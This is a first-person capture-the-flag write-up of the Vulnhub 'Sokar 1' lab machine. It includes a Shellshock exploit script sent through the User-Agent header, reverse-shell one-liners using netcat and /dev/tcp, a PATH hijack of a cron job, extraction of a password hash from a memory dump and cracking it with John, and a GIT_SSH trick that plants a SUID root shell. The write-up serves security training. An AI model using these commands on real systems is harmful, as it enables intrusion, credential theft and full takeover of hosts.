arkanoid-sokar solution
TRANSCRIPT
Sokar 1 - Hacking Challenge 1
Vulnhub Hacking Challenge
SOKAR 1
By arkanoid aka Manos Gavriil
Email: ([email protected])
Soundtrack: Armin Van Buuren - A State Of Trance
Drinks: Jack Daniels, Red Bull, Coffee
20/02/2015
Sokar 1 - Hacking Challenge 2
This was the first competition in 2015 for Vulnhub. Rasta Mouse has developed a great and
realistic game. Congrats for that interesting challenge! I managed to solve this challenge
although at last minute and here is what I did.
Phase I – Find the way to the gate
First thing was to add the IP address of the sokar machine to /etc/hosts. arkanoid@debian:~$ sudo nano /etc/hosts
[sudo] password for arkanoid:
127.0.0.1 localhost
192.168.1.68 sokar
Let’s go port scanning. A default port scan returned nothing. So I did a full port scan at sokar:
arkanoid@debian:~$ nmap –p1-65535 sokar -PN
Starting Nmap 6.00 ( http://nmap.org ) at 2015-02-21 12:47 EET
Nmap scan report for sokar (192.168.1.68)
Host is up (0.00062s latency).
PORT STATE SERVICE
591/tcp open http-alt
And what I got at this port? A visit showed a web server with system stats and nothing more.
Sokar 1 - Hacking Challenge 3
Source code revealed though something interesting.
There was a script that was getting the stats. I tried some nasty things on cat script without any
success when I remembered the panic of security experts over Shellshock computer bug! arkanoid@debian:~$ wget -U "() { test;};echo \"Content-type: text/plain\";
echo; echo; /usr/bin/id" http://sokar:591/cgi-bin/cat ; cat cat
--2015-02-21 12:18:26-- http://sokar:591/cgi-bin/cat
Connecting to sokar:591... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: `cat'
[ <=>
] 49 --.-K/s in 0.004s
2015-02-21 12:18:26 (11.4 KB/s) - `cat' saved [49]
uid=48(apache) gid=48(apache) groups=48(apache)
arkanoid@debian:~$
Boom! I could execute commands on server as apache user. It was time to get a remote shell. As I had to run many commands to achieve this, I wrote a dirty python script that could help me
even the output wasn’t exactly what I was expecting :-P (no time for debugging).
Sokar 1 - Hacking Challenge 4
arkanoid@debian:~$ cat sokar.py
#!/usr/bin/env python
import sys
import urllib2
cmd = '() { :; };echo "Content-Type:text/plain";echo;echo;'+ str(sys.argv[1])
url = "http://sokar:591/cgi-bin/cat"
req = urllib2.Request(url)
req.add_header('User-Agent', cmd)
resp = urllib2.urlopen(req)
data = resp.read()
for line in data:
print line,
I thought this was going to be easy…but I shouldn’t have underestimated the power of sokar! I tried to get a reverse connect back shell with metepreter (the easy way but no luck). Then I tried
the old school methods with netcat. Luckily netcat was already there!
arkanoid@debian:~$ python sokar.py '/usr/bin/whereis nc'
n c : / u s r / b i n / n c / u s r / s h a r e / m a n / m a n 1 / n c .
1 . g z
This would be a piece of cake (I thought). Old school hacking!
arkanoid@debian:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Fire up! arkanoid@debian:~$ python sokar.py '/usr/bin/nc -e /bin/sh 192.168.1.2 4444'
Waiting for my shell...and waiting…and then I tried also socket binding on other ports as well
but I was keep waiting and waiting and I almost heard the laugh of sokar at some point. Ok
probably the firewall was blocking all connections. So I started to search for more at system. I found out that there were some users on sokar.
arkanoid@debian:~$ python sokar.py '/usr/bin/cut -d: -f1 /etc/passwd'
r o o t
b i n
d a e m o n
a d m
l p
s y n c
s h u t d o w n
h a l t
m a i l
u u c p
o p e r a t o r
Sokar 1 - Hacking Challenge 5
g a m e s
g o p h e r
f t p
n o b o d y
v c s a
s a s l a u t h
p o s t f i x
s s h d
b y n a r r
a p a c h e
a p o p h i s
After a lot of searching, I finally found that I was able to read bynarr’s mails. arkanoid@debian:~$ python sokar.py '/bin/cat /var/spool/mail/bynarr'
R e t u r n - P a t h : < r o o t @ s o k a r >
D e l i v e r e d - T o : b y n a r r @ l o c a l h o s t
R e c e i v e d : f r o m r o o t b y l o c a l h o s t
T o : < b y n a r r @ s o k a r >
D a t e : T h u , 1 3 N o v 2 0 1 4 2 2 : 0 4 : 3 1 + 0 1 0 0
S u b j e c t : W e l c o m e
D e a r B y n a r r . W e l c o m e t o S o k a r I n c . F o r
e n s i c D e v e l o p m e n t T e a m .
A u s e r a c c o u n t h a s b e e n s e t u p f o r y o u .
U I D 5 0 0 ( b y n a r r )
G I D 5 0 0 ( b y n a r r )
5 0 1 ( f o r e n s i c )
P a s s w o r d ' f r u i t y ' . P l e a s e c h a n g e t h i s
A S A P .
S h o u l d y o u r e q u i r e , y o u ' v e b e e n g r a n t e d
o u t b o u n d e p h e m e r a l p o r t a c c e s s o n 5 1 2 4 2
, t o t r a n s f e r n o n - s e n s i t i v e f o r e n s i c d u
m p s o u t f o r a n a l y s i s .
A l l t h e b e s t i n y o u r n e w r o l e !
- S o k a r -
AAA nice! A password and a port access! That should be the port that I am trying to connect! But again no! I didn’t have the privileges of bynnar. I was still apache. I had to try something
different. After a lot of tries I realized that inside the /tmp/ directory the stats file was keep
refreshing. That could mean that a cron job with the privileges of bynarr might run. arkanoid@debian:~$ python sokar.py '/bin/ls -lh /tmp/'
t o t a l 4 . 0 K
- r w - r w - r - - 1 b y n a r r b y n a r r 1 . 3 K F e b 2 1
1 1 : 4 2 s t a t s
Sokar 1 - Hacking Challenge 6
In order to get the stats I figured out that iostat command was also running from cron job. I
search for env vulnerabilities inside bynarr home directory and indeed there was one:
arkanoid@debian:~$ python sokar.py '/bin/cat /home/bynarr/.bash_profile'
#.bash_profile
#Get the aliases and functions
if[-f~/.bashrc];then
.~/.bashrc
fi
#User specific environment and startup programs
PATH=.:$PATH:$HOME/bin
Export PATH
I could possibly replace the iostat command from /usr/bin to local home directory. So I made a
shell like the following using echo command. As netcat for some reason couldn’t work I tried the bash method!
arkanoid@debian:~$ python sokar.py '/bin/echo "#!/bin/bash" >
/home/bynarr/iostat'
arkanoid@debian:~$ python sokar.py '/bin/echo "/bin/bash -i >&
/dev/tcp/192.168.1.2/51242 0>&1" >> /home/bynarr/iostat'
arkanoid@debian:~$ python sokar.py '/bin/chmod +x /home/bynarr/iostat'
And FINALLY! I got a damn shell and at the same time I was bynarr!
arkanoid@debian:~$ nc -nvlp 51242
Listening on [0.0.0.0] (family 0, port 51242)
Connection from [192.168.1.68] port 51242 [tcp/*] accepted (family 2, sport
40147)
bash: no job control in this shell
[bynarr@sokar ~]$ id
id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
[bynarr@sokar ~]$
The nice part is that it is kind of persistent as the cron job runs every minute iostat again.
Sokar 1 - Hacking Challenge 7
Phase II – Attacking apophis In the home directory of bynarr I could find a nice script tool called lime which it could extract
memory from the system. [bynarr@sokar ~]$ ls
ls
iostat
lime
lime.ko
[bynarr@sokar ~]$ cat lime
cat lime
#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
echo "LKM, add or remove?"
echo -en "> "
read -e input
if [ $input == "add" ]; then
/sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"
elif [ $input == "remove" ]; then
/sbin/rmmod lime
else
echo "Invalid input, burn in the fires of Netu!"
fi
[bynarr@sokar ~]$
I tried to execute it but it was obvious that I couldn’t because it was trying to read lime.ko which
had permissions only for root. [bynarr@sokar ~]$ ./lime
./lime
==========================
Linux Memory Extractorator
==========================
LKM, add or remove?
> add
insmod: can't read '/home/bynarr/lime.ko': Permission denied
[bynarr@sokar ~]$ ls -lh
ls -lh
Sokar 1 - Hacking Challenge 8
total 20K
-rwxr-xr-x 1 apache apache 101 Feb 21 12:20 iostat
-rwxr-xr-x 1 root root 368 Jan 27 19:14 lime
-rw------- 1 root root 11K Nov 13 11:45 lime.ko
[bynarr@sokar ~]$
Soon I find out that user bynarr can execute with sudo and with no need for password. [bynarr@sokar ~]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
!requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User bynarr may run the following commands on this host:
(ALL) NOPASSWD: /home/bynarr/lime
After execution a memory dump file (256MB) was created at /tmp/ directory. I used strings and
grep to filter out useful information and I got apophis password hash somewhere:
[bynarr@sokar tmp]$ /usr/bin/strings ram | grep -i apophis
/usr/bin/strings ram | grep -i apophis
apophis:x:501:502::/home/apophis:/bin/bash
apophis
apophis
<------cut it --------->
type=CRED_DISP msg=audit(1424508240.012:16): user pid=1003 uid=0 auid=501
ses=2 msg='op=PAM:setcred acct="apophis" exe="/bin/login" hostname=? addr=?
terminal=tty1 res=success'
type=USER_END msg=audit(1424508240.014:17): user pid=1003 uid=0 auid=501
ses=2 msg='op=PAM:session_close acct="apophis" exe="/bin/login" hostname=?
addr=? terminal=tty1 res=success'
apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0e
gWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::
apophis
type=USER_AUTH msg=audit(1424508199.337:10): user pid=1003 uid=0
auid=4294967295
John made his job again:
arkanoid@debian:~$ john --wordlist=./rockyou.txt sokarpass.txt Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Press 'q' or Ctrl-C to abort, almost any other key for status overdrive (apophis) 1g 0:00:01:40 100% 0.009942g/s 365.5p/s 365.5c/s 365.5C/s puccaygaru..love6969 Use the "--show" option to display all of the cracked passwords reliably Session completed
Sokar 1 - Hacking Challenge 9
In order to login as apophis I had to use a tty. A nice python trick did the job.
[bynarr@sokar tmp]$ su apophis
su apophis
standard in must be a tty
[bynarr@sokar tmp]$ python -c ‘import pty; pty.spawn(“/bin/sh”)’
python -c ‘import pty; pty.spawn(“/bin/sh”)’
bash: syntax error near unexpected token `“/bin/sh”'
[bynarr@sokar tmp]$ python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.1$ su apophis
su apophis
Password: overdrive
[apophis@sokar tmp]$ cd
cd
[apophis@sokar ~]$ id
id
uid=501(apophis) gid=502(apophis) groups=502(apophis)
Celebration! I was apophis!
Meanwhile...It was already too late and it was time for some whiskey:
Sokar 1 - Hacking Challenge 10
Phase III – Attacking root This was rather a very difficult part for most players I guess. Under the
directory of apophis there was a SUID program called build with GIT repo functionally. Soon I understood from the errors I was receiving while
executing it that I had to fix things in order to make it work. Exploitation was
hard and I tried a lot of things. I got into also debugging in order to fully
understand the program. I downloaded the program locally so I could study it better. I found all functions of the program and I also tried step by step
execution of them with GDB in order to find any weakness. Finally I tried to
exploit it using environment variables of user apophis. At there was the key!
One thing that needed fix was the SSH connection try to sokar-dev. Program couldn’t correctly
resolve sokar-dev. So I added a record of my nameserver in /etc/resolv.conf and I also used dnsmasq back to my machine in order to mask sokar-dev to my IP address:
[apophis@sokar ~]$ more /etc/resolv.conf
more /etc/resolv.conf
nameserver 192.168.1.2
Now I could download files from my local pc to sokar. The program run as follows:
[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
root@sokar-dev's password:
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), 103.88 KiB | 0 bytes/s, done.
Checking connectivity... done.
[apophis@sokar ~]$
I spotted a buffer overflow as well but this was way too hard. Especially with the use of Canary:
arkanoid@debian:~ $ ./checksec.sh --file ./build RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX disabled PIE enabled No RPATH No RUNPATH ./build
Sokar 1 - Hacking Challenge 11
How did I found the command in order to correct setup the settings above? Back to gdb for all
the functions:
(gdb) info functions
info functions
All defined functions:
Non-debugging symbols:
0x0000000000000708 _init
0x0000000000000730 __printf_chk
0x0000000000000730 __printf_chk@plt
0x0000000000000740 __libc_start_main
0x0000000000000740 __libc_start_main@plt
0x0000000000000750 system
0x0000000000000750 system@plt
0x0000000000000760 __gets_chk
0x0000000000000760 __gets_chk@plt
0x0000000000000770 __cxa_finalize
0x0000000000000770 __cxa_finalize@plt
0x0000000000000780 __stack_chk_fail
0x0000000000000780 __stack_chk_fail@plt
0x0000000000000790 strcmp
0x0000000000000790 strcmp@plt
0x00000000000007a0 setreuid
0x00000000000007a0 setreuid@plt
0x00000000000007b0 _start
0x00000000000007dc call_gmon_start
0x0000000000000800 __do_global_dtors_aux
0x0000000000000880 frame_dummy
0x00000000000008ac encryptDecrypt
0x00000000000008ef main
0x0000000000000a80 __libc_csu_fini
0x0000000000000a90 __libc_csu_init
0x0000000000000b20 __do_global_ctors_aux
0x0000000000000b58 _fini
(gdb)
Function encryptDecrypt was quite interesting and encrypted text could be found. (gdb) b encryptDecrypt
b encryptDecrypt
Breakpoint 1 at 0x8ac
(gdb) r
r
Starting program: /home/apophis/build
Build? (Y/N) Y
Y
Breakpoint 1, 0x00007f763bf1a8ac in encryptDecrypt ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-
1.149.el6.x86_64
(gdb) x/1s $rdi
x/1s $rdi
0x7fff7029ae80: "f<:;f+ 'f. =i*%&',i::!sff;&&=\t:&\"(;d-
,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f"
Sokar 1 - Hacking Challenge 12
(gdb) disas encryptDecrypt
disas encryptDecrypt
Dump of assembler code for function encryptDecrypt:
=> 0x00007f763bf1a8ac <+0>: mov %rdi,%rdx
0x00007f763bf1a8af <+3>: mov $0x0,%r9d
0x00007f763bf1a8b5 <+9>: mov $0xffffffffffffffff,%r11
0x00007f763bf1a8bc <+16>: mov %rdi,%r10
0x00007f763bf1a8bf <+19>: mov $0x0,%eax
0x00007f763bf1a8c4 <+24>: jmp 0x7f763bf1a8d6 <encryptDecrypt+42>
0x00007f763bf1a8c6 <+26>: movzbl (%rdx,%r8,1),%ecx
0x00007f763bf1a8cb <+31>: xor $0x49,%ecx
0x00007f763bf1a8ce <+34>: mov %cl,(%rsi,%r8,1)
0x00007f763bf1a8d2 <+38>: add $0x1,%r9d
0x00007f763bf1a8d6 <+42>: movslq %r9d,%r8
0x00007f763bf1a8d9 <+45>: mov %r11,%rcx
0x00007f763bf1a8dc <+48>: mov %r10,%rdi
0x00007f763bf1a8df <+51>: repnz scas %es:(%rdi),%al
0x00007f763bf1a8e1 <+53>: not %rcx
0x00007f763bf1a8e4 <+56>: sub $0x1,%rcx
0x00007f763bf1a8e8 <+60>: cmp %rcx,%r8
0x00007f763bf1a8eb <+63>: jb 0x7f763bf1a8c6 <encryptDecrypt+26>
0x00007f763bf1a8ed <+65>: repz retq
End of assembler dump.
(gdb)
It seems that is XORING the string with character 0x49 which is a capital I. The encrypted
string can be also found from the strings inside the binary build file. So I XORed again and I got the following cleartext which can also be identified before the system function execution:
(gdb) b system
b system
Breakpoint 2 at 0x7f763b9a28f0
(gdb) c
c
Continuing.
Breakpoint 2, 0x00007f763b9a28f0 in system () from /lib64/libc.so.6
(gdb) x/1s $rdi
x/1s $rdi
0x7fff7029ae20: "/usr/bin/git clone ssh://root@sokar-dev:/root/secret-
project /mnt/secret-project/"
(gdb)
Of course the easiest way is with the command strace –f ./build. That cleartext
is where I lost my sleep. It seems though that was quite easy. The key was in
front of my eyes. After many tries I found out a nice environmental variable
called GIT_SSH. GIT_SSH, if specified, is a program that is invoked instead of SSH when GIT tries to connect to an SSH host. With that in mind it was
easy. I could export the variable to point to my program.
Note: “It won’t support extra command-line parameters, so you’d have to write
a wrapper script and set GIT_SSH to point to it.”
Sokar 1 - Hacking Challenge 13
I wrote a getroot program and also the script which GIT_SSH would point to.
[apophis@sokar ~]$ cat getroot.c
cat getroot.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
int main(){
setuid(0);
system("/bin/sh");
return 0;
}
[apophis@sokar ~]$ cat sh
cat sh
#!/bin/sh
chown root:root ./getroot
chmod 4755 ./getroot
[apophis@sokar ~]$
EXPLOIT:
[apophis@sokar ~]$ export GIT_SSH=./sh
export GIT_SSH=./sh
[apophis@sokar ~]$ ls -lh getroot
ls -lh getroot
-rwxrwxr-x 1 apophis apophis 6.4K Feb 21 15:41 getroot
[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
[apophis@sokar ~]$ ls -lh getroot
ls -lh getroot
-rwsr-xr-x 1 root root 6.4K Feb 21 15:41 getroot
[apophis@sokar ~]$
[apophis@sokar ~]$ ./getroot
./getroot
sh-4.1# id
id
uid=0(root) gid=502(apophis) groups=0(root),502(apophis)
sh-4.1# ls /root
ls /root
build.c flag
Sokar 1 - Hacking Challenge 14
cat /root/flag
0 0
| |
____|___|____
0 |~ ~ ~ ~ ~ ~| 0
| | Happy | |
___|__|___________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/|
0 | B i r t h d a y | 0
| |/\/\/\/\/\/\/\/\/\/\/\/| |
_|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
| |
| V u l n H u b ! ! |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|
=====================================
| Congratulations on beating Sokar! |
| |
| Massive shoutout to g0tmi1k and |
| the entire community which makes |
| VulnHub possible! |
| |
| rasta_mouse (@_RastaMouse) |
=====================================
sh-4.1#
Keep hacking.